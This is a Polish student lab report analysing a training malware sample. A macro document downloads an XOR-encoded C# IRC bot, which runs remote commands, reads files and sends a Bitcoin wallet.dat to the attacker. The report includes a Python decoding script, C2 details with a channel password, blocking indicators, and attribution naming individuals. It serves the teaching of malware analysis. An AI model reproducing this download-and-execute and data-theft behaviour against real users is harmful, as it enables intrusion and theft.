

Kacper Szaruch , Jan Wojciechowski

## Sprawozdanie z laboratorium 4 z przedmiotu KRYCY

16 marca 2024

### Spis treści

1. Wstęp . . . . .	2
2. Proces analizy ataku . . . . .	2
3. Komunikacja z C2 . . . . .	3
4. Zachowanie po dołączeniu . . . . .	3
5. Możliwości blokowania . . . . .	3
6. Atrybucja . . . . .	3

## 1. Wstęp

Niniejszy dokument stanowi sprawozdanie z realizacji laboratorium 4 z przedmiotu KRYCY. Oświadczamy, że ta praca, stanowiąca podstawę do uznania osiągnięcia efektów uczenia się z przedmiotu KRYCY, została wykonana przez nas samodzielnie.

## 2. Proces analizy ataku

Plikiem, od którego rozpoczęła się infekcja był plik *Faktura.docm*. Rozszerzenie docm wskazuje na wykorzystanie makr w tym dokumencie. Po otwarciu pliku rzeczywiście można było odnaleźć w nim makro, lecz było ono nieczytelne z powodu obfuskacji wykorzystującej nieczytelne i niezrozumiałe nazwy zmiennych oraz zapisywanie wartości encodowanych w różnych standardach. Po analizie udało się ustalić jakie akcje wykonuje program:

1. od razu po uruchomieniu tworzy żądanie HTTPS do adresu url: [Blog Duck](#)
2. odbiera odpowiedź z serwera
3. dekoduje odpowiedź przy użyciu prostego algorytmu XORowania odpowiedzi z kluczem o wartości "QuackingDucks"
4. zapisuje zdekodowaną odpowiedź do pliku svchost.exe w katalogu TEMP
5. ustawia atrybuty pliku na ukryte i systemowe, aby go ukryć
6. wykonuje plik.

Komentując linijki kodu odpowiedzialne za ukrywanie i wykonywanie pliku można zlokalizować go po pobraniu i zdekodowaniu przez makro. W celu dalszej analizy został użyty program Ghidra. Reverse engineering został rozpoczęty od funkcji WinMain, która pobiera plik z [URL](#), a następnie dekoduje go przy użyciu funkcji *VerySecureEncryption*. Na szczęście szyfrowanie nie jest zbyt skomplikowane i z łatwością udało się odtworzyć tę funkcjonalność w języku Python.

```
def VerySecureEncryption(buf):
    size = len(buf)
    key = buf[:16]

    for i in range(size - 16):
        buf[i] = buf[i + 16] ^ key[i % 16]

    return bytes(buf[:size - 16])

response = requests.get('https://blog.duck.edu.pl/wp-content/uploads/2021/11/kaifu3No.php')
response_body = bytearray(response.content)
encrypted_body = VerySecureEncryption(response_body)

with open('decoded_message.exe', 'wb') as f:
    f.write(encrypted_body)
```

Rys. 1. Skrypt w Python'ie służący do odszyfrowania pliku

Zdekodowany program został napisany w języku C#, dlatego do jego dekompilacji przydatny był program dnSpy. Dzięki niemu możliwe było wyświetlenie kodu w formie czytelnej i zrozumiałej dla człowieka. Na tej podstawie ustalona została procedura działania programu:

1. nawiązanie połączenia z serwerem [IRC](#)
2. sprawdzenie certyfikatu SSL
3. dołączenie do kanału #duckbots przy użyciu hasła: AhFaepo0nahreijakoor7oongei4phah
4. ustawienie nick'a jako: BOT+losowy numer
5. wysłanie wiadomości HELLO z nazwą komputera
6. oczekiwanie na polecenia z serwera C2.

### 3. Komunikacja z C2

Złośliwy plik `dllhost.exe` obsługuje następujące komendy otrzymywane od serwera C2 przez kanał IRC:

- PING - program odpowiada PONG
- 376 (koniec Message of the Day) - dołączenie do kanału
- 366 (koniec listy NAMES) - wysłanie wiadomości HELLO z nazwą użytkownika i komputera
- PRIVMSG - **wykonanie komendy**
  - WALLPAPER + link - zmiana tapety
  - EXEC + komenda - wykonanie komendy w wierszu poleceń
  - READFILE + ścieżka - odczytanie pliku z podanej ścieżki i zwrócenie jego zawartości na czat irc
- obsługa komend do zarządzania listą administratorów.

### 4. Zachowanie po dołączeniu

Od razu po otrzymaniu wiadomości HELLO, serwer odpowiada wiadomością START i [linkiem](#). Powoduje to otworzenie przesłanego linka (w tym przypadku uruchomienie odtwarzania wideo z serwisu YouTube). Kolejną komendą otrzymywaną od BotMastera jest polecenie wykonania komendy `ipconfig/all`. Powoduje to wysłanie z maszyny informacji o interfejsach sieciowych na kanał IRC. Następnie BotMaster dokonuje próby odczytu pliku `C:\Users\Username\AppData\Roaming\Bitcoin\wallet.dat`. Plik prawdopodobnie ma związek z portfelem kryptowaluty Bitcoin. Jeżeli plik zostanie znaleziony pod tą ścieżką, jego zawartość zostaje wysłana do atakującego. Kolejną otrzymaną komendą jest polecenie wykonania ping'a na adres 8.8.8.8 (google). Rezultat wykonania tej operacji jest zwracany na kanał IRC w postaci pojedynczych wiadomości. Dodatkowo, co pewien czas wysyłana jest komenda WALLPAPER + link, powodująca zmianę tapety na zainfekowanym komputerze.

### 5. Możliwości blokowania

Istnieje parę atrybutów, które mogą posłużyć do zablokowania takiego ataku. Pierwszym z nich jest blokowanie domeny `duck.edu.pl`. Uniemożliwi to pobranie plików zawierających malware, ale też zablokuje możliwość komunikacji botów z botmasterem.

Elementami służącymi do blokowania ataku mogłyby być również hashe pobranych plików: `faktura.docm`, `svchost.exe`, `dllhost.exe`. Jeżeli IRC nie jest wykorzystywany w firmie do komunikacji (wątpliwe), to można również zablokować ten protokół. Możliwym IoC jest również częsta zmiana konfiguracji systemowej, ale to rozwiązanie możliwe do implementacji w systemie HIDS, a nie firewall'u.

### 6. Atrybucja

W trakcie analizy plików oraz domeny wykorzystanych w trakcie ataku można stwierdzić, że ataku dokonał Krzysztof Haładyn. Jego imię i nazwisko pojawiło się w paru miejscach:



Rys. 2. Dane właściciela serwera irc



```
[assembly: AssemblyTitle("dllhost")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("dllhost")]
[assembly: AssemblyCopyright("Copyright © krzys_h & loczek 2021")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("005297dd-d75e-41ce-b3b9-0e9ff3d20632")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
```

Rys. 3. Podpis znaleziony w pliku dllhost.exe

## Whois Record for Krzysh.pl

### Domain Profile

#### Registrar Status

Dates	3,999 days old Created on 2013-01-06 Expires on 2024-06-01 Updated on 2023-02-12	↗
IP Address	146.59.13.9 - 1 other site is hosted on this server	↗
IP Location	 - Dolnoslaskie - Wroclaw - Ovh Sp. Z O. O.	
ASN	 AS16276 OVH OVH SAS, FR (registered Feb 15, 2001)	
Hosting History	1 change on 2 unique name servers over 9 years	↗

### Whois Record ( last updated on 2023-12-19 )

DOMAIN NAME:	krzysh.pl
registrant type:	individual
nameservers:	dns107.ovh.net. ns107.ovh.net.
created:	2013.01.06 22:38:09
last modified:	2023.02.12 13:42:15
renewal date:	2024.01.06 22:38:09
no option	
dnssec:	Signed
DS:	38749 8 2 4849272BD8E6C2F72BB8E2D20A0DCB18F5F5DAE5267FAE0CA2711D5F85B74B12
REGISTRAR:	OVH SAS

Rys. 4. Informacje rejestracyjne o domenie

Wiele źródeł wskazuje na zaangażowanie Krzysztofa Haładyna w atak, a możliwe, że pomagał mu Michał Szaknis znany jako "Loczek".